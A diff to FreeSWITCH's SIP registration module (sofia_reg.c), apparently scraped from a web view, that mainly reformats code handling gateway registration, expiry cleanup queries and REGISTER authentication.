TAG_IF(gateway_ptr->register_sticky_proxy, NUTAG_PROXY(gateway_ptr->register_sticky_proxy)),
|
||||
TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
|
||||
SIPTAG_TO_STR(gateway_ptr->register_from),
|
||||
SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
|
||||
SIPTAG_FROM_STR(gateway_ptr->register_from),
|
||||
TAG_END());
|
||||
SIPTAG_CONTACT_STR(gateway_ptr->register_contact), SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END());
|
||||
|
||||
switch_safe_free(user_via);
|
||||
user_via = NULL;
|
||||
@@ -336,15 +319,16 @@ void sofia_reg_check_gateway(sofia_profile_t *profile, time_t now)
|
||||
case REG_STATE_UNREGED:
|
||||
gateway_ptr->status = SOFIA_GATEWAY_DOWN;
|
||||
gateway_ptr->retry = 0;
|
||||
|
||||
if (!gateway_ptr->nh) sofia_reg_new_handle(gateway_ptr, now ? 1 : 0);
|
||||
|
||||
if (!gateway_ptr->nh)
|
||||
sofia_reg_new_handle(gateway_ptr, now ? 1 : 0);
|
||||
|
||||
if (sofia_glue_check_nat(gateway_ptr->profile, gateway_ptr->register_proxy)) {
|
||||
user_via = sofia_glue_create_external_via(NULL, gateway_ptr->profile, gateway_ptr->register_transport);
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Registering %s\n", gateway_ptr->name);
|
||||
|
||||
|
||||
if (now) {
|
||||
nua_register(gateway_ptr->nh,
|
||||
NUTAG_URL(gateway_ptr->register_url),
|
||||
@@ -352,7 +336,7 @@ void sofia_reg_check_gateway(sofia_profile_t *profile, time_t now)
|
||||
TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
|
||||
SIPTAG_TO_STR(gateway_ptr->distinct_to ? gateway_ptr->register_to : gateway_ptr->register_from),
|
||||
SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
|
||||
SIPTAG_FROM_STR(gateway_ptr->register_from),
|
||||
SIPTAG_FROM_STR(gateway_ptr->register_from),
|
||||
SIPTAG_EXPIRES_STR(gateway_ptr->expires_str),
|
||||
NUTAG_REGISTRAR(gateway_ptr->register_proxy),
|
||||
NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
|
||||
@@ -368,7 +352,7 @@ void sofia_reg_check_gateway(sofia_profile_t *profile, time_t now)
|
||||
NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
|
||||
}
|
||||
gateway_ptr->retry = now + gateway_ptr->retry_seconds;
|
||||
gateway_ptr->state = REG_STATE_TRYING;
|
||||
gateway_ptr->state = REG_STATE_TRYING;
|
||||
switch_safe_free(user_via);
|
||||
user_via = NULL;
|
||||
break;
|
||||
@@ -379,16 +363,16 @@ void sofia_reg_check_gateway(sofia_profile_t *profile, time_t now)
|
||||
|
||||
if (gateway_ptr->failure_status == 503) {
|
||||
sec = gateway_ptr->retry_seconds;
|
||||
} else{
|
||||
} else {
|
||||
sec = gateway_ptr->retry_seconds * (gateway_ptr->failures + 1);
|
||||
}
|
||||
|
||||
|
||||
gateway_ptr->retry = switch_epoch_time_now(NULL) + sec;
|
||||
gateway_ptr->status = SOFIA_GATEWAY_DOWN;
|
||||
gateway_ptr->state = REG_STATE_FAIL_WAIT;
|
||||
gateway_ptr->failure_status = 0;
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s Failed Registration, setting retry to %d seconds.\n",
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s Failed Registration, setting retry to %d seconds.\n",
|
||||
gateway_ptr->name, sec);
|
||||
|
||||
}
|
||||
@@ -436,12 +420,10 @@ int sofia_reg_nat_callback(void *pArg, int argc, char **argv, char **columnNames
|
||||
dst = sofia_glue_get_destination(argv[3]);
|
||||
switch_assert(dst);
|
||||
|
||||
nh = nua_handle(profile->nua, NULL, SIPTAG_FROM_STR(profile->url), SIPTAG_TO_STR(to), NUTAG_URL(dst->contact), SIPTAG_CONTACT_STR(profile->url), TAG_END());
|
||||
nh = nua_handle(profile->nua, NULL, SIPTAG_FROM_STR(profile->url), SIPTAG_TO_STR(to), NUTAG_URL(dst->contact), SIPTAG_CONTACT_STR(profile->url),
|
||||
TAG_END());
|
||||
nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
|
||||
nua_options(nh,
|
||||
TAG_IF(dst->route_uri, NUTAG_PROXY(dst->route_uri)),
|
||||
TAG_IF(dst->route, SIPTAG_ROUTE_STR(dst->route)),
|
||||
TAG_END());
|
||||
nua_options(nh, TAG_IF(dst->route_uri, NUTAG_PROXY(dst->route_uri)), TAG_IF(dst->route, SIPTAG_ROUTE_STR(dst->route)), TAG_END());
|
||||
|
||||
sofia_glue_free_destination(dst);
|
||||
|
||||
@@ -462,7 +444,8 @@ int sofia_sub_del_callback(void *pArg, int argc, char **argv, char **columnNames
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent, const char *network_ip)
|
||||
void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent,
|
||||
const char *network_ip)
|
||||
{
|
||||
const char *event = "check-sync";
|
||||
const char *contenttype = "application/simple-message-summary";
|
||||
@@ -487,7 +470,7 @@ int sofia_sla_dialog_del_callback(void *pArg, int argc, char **argv, char **colu
|
||||
if ((nh = nua_handle_by_call_id(profile->nua, argv[0]))) {
|
||||
nua_handle_destroy(nh);
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -495,7 +478,7 @@ int sofia_reg_del_callback(void *pArg, int argc, char **argv, char **columnNames
|
||||
{
|
||||
switch_event_t *s_event;
|
||||
sofia_profile_t *profile = (sofia_profile_t *) pArg;
|
||||
|
||||
|
||||
if (argc > 12 && atoi(argv[12]) == 1) {
|
||||
sofia_reg_send_reboot(profile, argv[1], argv[2], argv[3], argv[7], argv[11]);
|
||||
}
|
||||
@@ -561,18 +544,16 @@ void sofia_reg_expire_call_id(sofia_profile_t *profile, const char *call_id, int
|
||||
}
|
||||
|
||||
sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,rpid,expires"
|
||||
",user_agent,server_user,server_host,profile_name,network_ip"
|
||||
",%d from sip_registrations where call_id='%q' %s",
|
||||
reboot, call_id, sqlextra);
|
||||
",user_agent,server_user,server_host,profile_name,network_ip"
|
||||
",%d from sip_registrations where call_id='%q' %s", reboot, call_id, sqlextra);
|
||||
switch_safe_free(sqlextra);
|
||||
|
||||
|
||||
switch_mutex_lock(profile->ireg_mutex);
|
||||
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_del_callback, profile);
|
||||
switch_mutex_unlock(profile->ireg_mutex);
|
||||
switch_safe_free(sql);
|
||||
|
||||
sql = switch_mprintf("delete from sip_registrations where call_id='%q' or (sip_user='%q' and sip_host='%q')",
|
||||
call_id, user, host);
|
||||
|
||||
sql = switch_mprintf("delete from sip_registrations where call_id='%q' or (sip_user='%q' and sip_host='%q')", call_id, user, host);
|
||||
sofia_glue_execute_sql(profile, &sql, SWITCH_FALSE);
|
||||
|
||||
switch_safe_free(sql);
|
||||
@@ -592,13 +573,12 @@ void sofia_reg_check_expire(sofia_profile_t *profile, time_t now, int reboot)
|
||||
",%d from sip_registrations where expires > 0 and expires <= %ld", reboot, (long) now);
|
||||
} else {
|
||||
switch_snprintf(sql, sizeof(sql), "select call_id,sip_user,sip_host,contact,status,rpid,expires"
|
||||
",user_agent,server_user,server_host,profile_name,network_ip"
|
||||
",%d from sip_registrations where expires > 0", reboot);
|
||||
",user_agent,server_user,server_host,profile_name,network_ip" ",%d from sip_registrations where expires > 0", reboot);
|
||||
}
|
||||
|
||||
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_del_callback, profile);
|
||||
if (now) {
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and expires <= %ld and hostname='%s'",
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and expires <= %ld and hostname='%s'",
|
||||
(long) now, mod_sofia_globals.hostname);
|
||||
} else {
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and hostname='%s'", mod_sofia_globals.hostname);
|
||||
@@ -610,11 +590,10 @@ void sofia_reg_check_expire(sofia_profile_t *profile, time_t now, int reboot)
|
||||
|
||||
if (now) {
|
||||
switch_snprintf(sql, sizeof(sql), "select call_id from sip_shared_appearance_dialogs where hostname='%s' "
|
||||
"and profile_name='%s' and expires <= %ld",
|
||||
mod_sofia_globals.hostname, profile->name, (long) now);
|
||||
|
||||
"and profile_name='%s' and expires <= %ld", mod_sofia_globals.hostname, profile->name, (long) now);
|
||||
|
||||
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_sla_dialog_del_callback, profile);
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and hostname='%s' and expires <= %ld",
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and hostname='%s' and expires <= %ld",
|
||||
mod_sofia_globals.hostname, (long) now);
|
||||
|
||||
|
||||
@@ -623,7 +602,7 @@ void sofia_reg_check_expire(sofia_profile_t *profile, time_t now, int reboot)
|
||||
|
||||
|
||||
if (now) {
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_presence where expires > 0 and expires <= %ld and hostname='%s'",
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_presence where expires > 0 and expires <= %ld and hostname='%s'",
|
||||
(long) now, mod_sofia_globals.hostname);
|
||||
} else {
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_presence where expires > 0 and hostname='%s'", mod_sofia_globals.hostname);
|
||||
@@ -632,7 +611,7 @@ void sofia_reg_check_expire(sofia_profile_t *profile, time_t now, int reboot)
|
||||
sofia_glue_actually_execute_sql(profile, sql, NULL);
|
||||
|
||||
if (now) {
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_authentication where expires > 0 and expires <= %ld and hostname='%s'",
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_authentication where expires > 0 and expires <= %ld and hostname='%s'",
|
||||
(long) now, mod_sofia_globals.hostname);
|
||||
} else {
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_authentication where expires > 0 and hostname='%s'", mod_sofia_globals.hostname);
|
||||
@@ -643,17 +622,17 @@ void sofia_reg_check_expire(sofia_profile_t *profile, time_t now, int reboot)
|
||||
|
||||
|
||||
if (now) {
|
||||
switch_snprintf(sql, sizeof(sql), "select call_id from sip_subscriptions where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
|
||||
(long) now, mod_sofia_globals.hostname);
|
||||
} else {
|
||||
switch_snprintf(sql, sizeof(sql), "select call_id from sip_subscriptions where expires >= -1 and hostname='%s'",
|
||||
switch_snprintf(sql, sizeof(sql),
|
||||
"select call_id from sip_subscriptions where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'", (long) now,
|
||||
mod_sofia_globals.hostname);
|
||||
} else {
|
||||
switch_snprintf(sql, sizeof(sql), "select call_id from sip_subscriptions where expires >= -1 and hostname='%s'", mod_sofia_globals.hostname);
|
||||
}
|
||||
|
||||
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_sub_del_callback, profile);
|
||||
|
||||
if (now) {
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_subscriptions where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_subscriptions where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
|
||||
(long) now, mod_sofia_globals.hostname);
|
||||
} else {
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_subscriptions where expires >= -1 and hostname='%s'", mod_sofia_globals.hostname);
|
||||
@@ -663,7 +642,7 @@ void sofia_reg_check_expire(sofia_profile_t *profile, time_t now, int reboot)
|
||||
|
||||
|
||||
if (now) {
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_dialogs where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_dialogs where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
|
||||
(long) now, mod_sofia_globals.hostname);
|
||||
} else {
|
||||
switch_snprintf(sql, sizeof(sql), "delete from sip_dialogs where expires >= -1 and hostname='%s'", mod_sofia_globals.hostname);
|
||||
@@ -699,8 +678,8 @@ char *sofia_reg_find_reg_url(sofia_profile_t *profile, const char *user, const c
|
||||
cbt.len = len;
|
||||
|
||||
if (host) {
|
||||
switch_snprintf(sql, sizeof(sql), "select contact from sip_registrations where sip_user='%s' and (sip_host='%s' or presence_hosts like '%%%s%%')"
|
||||
, user, host, host);
|
||||
switch_snprintf(sql, sizeof(sql), "select contact from sip_registrations where sip_user='%s' and (sip_host='%s' or presence_hosts like '%%%s%%')",
|
||||
user, host, host);
|
||||
} else {
|
||||
switch_snprintf(sql, sizeof(sql), "select contact from sip_registrations where sip_user='%s'", user);
|
||||
}
|
||||
@@ -727,8 +706,8 @@ void sofia_reg_auth_challenge(nua_t *nua, sofia_profile_t *profile, nua_handle_t
|
||||
switch_uuid_format(uuid_str, &uuid);
|
||||
|
||||
sql = switch_mprintf("insert into sip_authentication (nonce,expires,profile_name,hostname, last_nc) "
|
||||
"values('%q', %ld, '%q', '%q', 0)", uuid_str,
|
||||
switch_epoch_time_now(NULL) + (profile->nonce_ttl ? profile->nonce_ttl : DEFAULT_NONCE_TTL),
|
||||
"values('%q', %ld, '%q', '%q', 0)", uuid_str,
|
||||
switch_epoch_time_now(NULL) + (profile->nonce_ttl ? profile->nonce_ttl : DEFAULT_NONCE_TTL),
|
||||
profile->name, mod_sofia_globals.hostname);
|
||||
switch_assert(sql != NULL);
|
||||
sofia_glue_actually_execute_sql(profile, sql, profile->ireg_mutex);
|
||||
@@ -791,7 +770,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
/* all callers must confirm that sip, sip->sip_request and sip->sip_contact are not NULL */
|
||||
switch_assert(sip != NULL && sip->sip_contact != NULL && sip->sip_request != NULL);
|
||||
|
||||
sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
|
||||
sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
|
||||
|
||||
snprintf(network_port_c, sizeof(network_port_c), "%d", network_port);
|
||||
|
||||
@@ -807,14 +786,16 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
from_user = from->a_url->url_user;
|
||||
from_host = from->a_url->url_host;
|
||||
}
|
||||
|
||||
|
||||
if (to) {
|
||||
to_user = to->a_url->url_user;
|
||||
to_host = to->a_url->url_host;
|
||||
}
|
||||
|
||||
if (!to_user) to_user = from_user;
|
||||
if (!to_host) to_host = from_host;
|
||||
if (!to_user)
|
||||
to_user = from_user;
|
||||
if (!to_host)
|
||||
to_host = from_host;
|
||||
|
||||
if (!to_user || !to_host) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can not do authorization without a complete header\n");
|
||||
@@ -839,18 +820,18 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
if (switch_stristr("transport=tls", sip->sip_contact->m_url->url_params)) {
|
||||
is_tls += 1;
|
||||
}
|
||||
|
||||
|
||||
if (sip->sip_contact->m_url->url_type == url_sips) {
|
||||
proto = "sips";
|
||||
is_tls += 2;
|
||||
}
|
||||
|
||||
|
||||
if (switch_stristr("transport=tcp", sip->sip_contact->m_url->url_params)) {
|
||||
is_tcp = 1;
|
||||
}
|
||||
|
||||
|
||||
display = contact->m_display;
|
||||
|
||||
|
||||
if (is_nat) {
|
||||
if (is_tls) {
|
||||
reg_desc = "Registered(TLS-NAT)";
|
||||
@@ -890,7 +871,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
} else if (is_nat) {
|
||||
char my_contact_str[1024];
|
||||
if (sip->sip_contact->m_url->url_params) {
|
||||
switch_snprintf(my_contact_str, sizeof(my_contact_str), "sip:%s@%s:%d;%s",
|
||||
switch_snprintf(my_contact_str, sizeof(my_contact_str), "sip:%s@%s:%d;%s",
|
||||
contact->m_url->url_user, url_ip, network_port, sip->sip_contact->m_url->url_params);
|
||||
} else {
|
||||
switch_snprintf(my_contact_str, sizeof(my_contact_str), "sip:%s@%s:%d", contact->m_url->url_user, url_ip, network_port);
|
||||
@@ -914,7 +895,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
|
||||
if (contact->m_url->url_params) {
|
||||
switch_snprintf(contact_str, sizeof(contact_str), "%s <%s:%s@%s%s;%s%s%s%s>",
|
||||
display, proto, contact->m_url->url_user, contact_host, new_port,
|
||||
display, proto, contact->m_url->url_user, contact_host, new_port,
|
||||
contact->m_url->url_params, received_data, is_nat ? ";fs_nat=yes" : "", path_encoded ? path_encoded : "");
|
||||
} else {
|
||||
switch_snprintf(contact_str, sizeof(contact_str), "%s <%s:%s@%s%s%s%s%s>", display, proto, contact->m_url->url_user, contact_host, new_port,
|
||||
@@ -953,7 +934,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
char *allow_multireg = NULL;
|
||||
|
||||
allow_multireg = switch_event_get_header(*v_event, "sip-allow-multiple-registrations");
|
||||
if ( allow_multireg && switch_false(allow_multireg) ) {
|
||||
if (allow_multireg && switch_false(allow_multireg)) {
|
||||
avoid_multi_reg = 1;
|
||||
}
|
||||
|
||||
@@ -987,7 +968,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
if (*received_data && sofia_test_pflag(profile, PFLAG_RECIEVED_IN_NAT_REG_CONTACT)) {
|
||||
switch_snprintf(received_data, sizeof(received_data), ";received=%s:%d", url_ip, network_port);
|
||||
}
|
||||
|
||||
|
||||
if (!strcasecmp(v_contact_str, "nat-connectile-dysfunction") ||
|
||||
!strcasecmp(v_contact_str, "NDLB-connectile-dysfunction") || !strcasecmp(v_contact_str, "NDLB-tls-connectile-dysfunction")) {
|
||||
if (contact->m_url->url_params) {
|
||||
@@ -1030,7 +1011,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
}
|
||||
if (auth_res == AUTH_FORBIDDEN) {
|
||||
nua_respond(nh, SIP_403_FORBIDDEN, NUTAG_WITH_THIS(nua), TAG_END());
|
||||
|
||||
|
||||
/* Log line added to support Fail2Ban */
|
||||
if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
|
||||
if (regtype == REG_REGISTER) {
|
||||
@@ -1039,7 +1020,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
} else if (regtype == REG_INVITE) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "SIP auth failure (INVITE) on sofia profile '%s' "
|
||||
"for [%s@%s] from ip %s\n", profile->name, to_user, to_host, network_ip);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
nua_respond(nh, SIP_401_UNAUTHORIZED, NUTAG_WITH_THIS(nua), TAG_END());
|
||||
@@ -1095,13 +1076,12 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
switch_assert(call_id);
|
||||
|
||||
/* Does this profile supports multiple registrations ? */
|
||||
multi_reg = ( sofia_test_pflag(profile, PFLAG_MULTIREG) ) ? 1 : 0;
|
||||
multi_reg_contact = ( sofia_test_pflag(profile, PFLAG_MULTIREG_CONTACT) ) ? 1 : 0;
|
||||
multi_reg = (sofia_test_pflag(profile, PFLAG_MULTIREG)) ? 1 : 0;
|
||||
multi_reg_contact = (sofia_test_pflag(profile, PFLAG_MULTIREG_CONTACT)) ? 1 : 0;
|
||||
|
||||
if ( multi_reg && avoid_multi_reg ) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
|
||||
"Disabling multiple registrations on a per-user basis for %s@%s\n",
|
||||
switch_str_nil(to_user), switch_str_nil(to_host) );
|
||||
if (multi_reg && avoid_multi_reg) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
|
||||
"Disabling multiple registrations on a per-user basis for %s@%s\n", switch_str_nil(to_user), switch_str_nil(to_host));
|
||||
multi_reg = 0;
|
||||
}
|
||||
|
||||
@@ -1122,13 +1102,13 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
|
||||
if (multi_reg) {
|
||||
if (multi_reg_contact) {
|
||||
sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
|
||||
sql =
|
||||
switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
|
||||
} else {
|
||||
sql = switch_mprintf("delete from sip_registrations where call_id='%q'", call_id);
|
||||
}
|
||||
} else {
|
||||
sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q'",
|
||||
to_user, reg_host);
|
||||
sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q'", to_user, reg_host);
|
||||
}
|
||||
switch_mutex_lock(profile->ireg_mutex);
|
||||
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
|
||||
@@ -1177,7 +1157,6 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
"Register:\nFrom: [%s@%s]\nContact: [%s]\nExpires: [%ld]\n", to_user, reg_host, contact_str, (long) exptime);
|
||||
}
|
||||
|
||||
|
||||
#if 0
|
||||
if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_IN) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "proto", SOFIA_CHAT_PROTO);
|
||||
@@ -1192,7 +1171,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
}
|
||||
#else
|
||||
|
||||
if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
|
||||
if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
|
||||
(reg_count == 1 && sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_FIRST_REGISTER))) {
|
||||
|
||||
if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_PROBE) == SWITCH_STATUS_SUCCESS) {
|
||||
@@ -1211,7 +1190,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
|
||||
|
||||
} else {
|
||||
|
||||
|
||||
if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_OUT) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "proto", SOFIA_CHAT_PROTO);
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "rpid", rpid);
|
||||
@@ -1247,7 +1226,8 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
}
|
||||
|
||||
if (multi_reg_contact) {
|
||||
sql = switch_mprintf("delete from sip_subscriptions where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
|
||||
sql =
|
||||
switch_mprintf("delete from sip_subscriptions where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
|
||||
} else {
|
||||
sql = switch_mprintf("delete from sip_subscriptions where call_id='%q'", call_id);
|
||||
}
|
||||
@@ -1255,7 +1235,8 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
|
||||
|
||||
if (multi_reg_contact) {
|
||||
sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
|
||||
sql =
|
||||
switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
|
||||
} else {
|
||||
sql = switch_mprintf("delete from sip_registrations where call_id='%q'", call_id);
|
||||
}
|
||||
@@ -1284,8 +1265,8 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
if (exptime) {
|
||||
switch_snprintf(exp_param, sizeof(exp_param), "expires=%ld", exptime);
|
||||
sip_contact_add_param(nua_handle_home(nh), sip->sip_contact, exp_param);
|
||||
|
||||
if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
|
||||
|
||||
if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
|
||||
(reg_count == 1 && sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_FIRST_REGISTER))) {
|
||||
if (switch_event_create(&s_event, SWITCH_EVENT_MESSAGE_QUERY) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "Message-Account", "sip:%s@%s", mwi_user, mwi_host);
|
||||
@@ -1304,18 +1285,15 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "expires", "%ld", (long) exptime);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
switch_rfc822_date(date, switch_micro_time_now());
|
||||
nua_respond(nh, SIP_200_OK, SIPTAG_CONTACT(sip->sip_contact),
|
||||
TAG_IF(path_val, SIPTAG_PATH_STR(path_val)),
|
||||
NUTAG_WITH_THIS(nua),
|
||||
SIPTAG_DATE_STR(date),
|
||||
TAG_END());
|
||||
TAG_IF(path_val, SIPTAG_PATH_STR(path_val)), NUTAG_WITH_THIS(nua), SIPTAG_DATE_STR(date), TAG_END());
|
||||
|
||||
if (s_event) {
|
||||
switch_event_fire(&s_event);
|
||||
}
|
||||
|
||||
|
||||
if (*contact_str && sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE_SYLANTRO)) {
|
||||
sofia_sla_handle_register(nua, profile, sip, exptime, contact_str);
|
||||
}
|
||||
@@ -1324,14 +1302,14 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
|
||||
}
|
||||
|
||||
|
||||
end:
|
||||
end:
|
||||
switch_safe_free(dup_mwi_account);
|
||||
|
||||
if (auth_params) {
|
||||
switch_event_destroy(&auth_params);
|
||||
}
|
||||
|
||||
return (uint8_t)r;
|
||||
return (uint8_t) r;
|
||||
}
|
||||
|
||||
|
||||
@@ -1346,7 +1324,7 @@ void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_h
|
||||
int network_port = 0;
|
||||
char *is_nat = NULL;
|
||||
|
||||
sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
|
||||
sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
|
||||
|
||||
if (!(sip->sip_contact && sip->sip_contact->m_url)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "NO CONTACT!\n");
|
||||
@@ -1363,7 +1341,7 @@ void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_h
|
||||
if (sip && sip->sip_via) {
|
||||
const char *port = sip->sip_via->v_port;
|
||||
const char *host = sip->sip_via->v_host;
|
||||
|
||||
|
||||
if (host && sip->sip_via->v_received) {
|
||||
is_nat = "via received";
|
||||
} else if (host && strcmp(network_ip, host)) {
|
||||
@@ -1391,13 +1369,13 @@ void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_h
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (ok) {
|
||||
is_nat = last_acl;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (profile->reg_acl_count) {
|
||||
uint32_t x = 0;
|
||||
int ok = 1;
|
||||
@@ -1424,7 +1402,7 @@ void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_h
|
||||
nua_respond(nh, SIP_500_INTERNAL_SERVER_ERROR, TAG_END());
|
||||
goto end;
|
||||
}
|
||||
|
||||
|
||||
if (is_nat && profile->local_network && switch_check_network_list_ip(network_ip, profile->local_network)) {
|
||||
if (profile->debug) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "IP %s is on local network, not seting NAT mode.\n", network_ip);
|
||||
@@ -1433,7 +1411,7 @@ void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_h
|
||||
}
|
||||
|
||||
sofia_reg_handle_register(nua, profile, nh, sip, type, key, sizeof(key), &v_event, is_nat);
|
||||
|
||||
|
||||
if (v_event) {
|
||||
switch_event_destroy(&v_event);
|
||||
}
|
||||
@@ -1458,7 +1436,7 @@ void sofia_reg_handle_sip_r_register(int status,
|
||||
nua_handle_destroy(nh);
|
||||
}
|
||||
}
|
||||
|
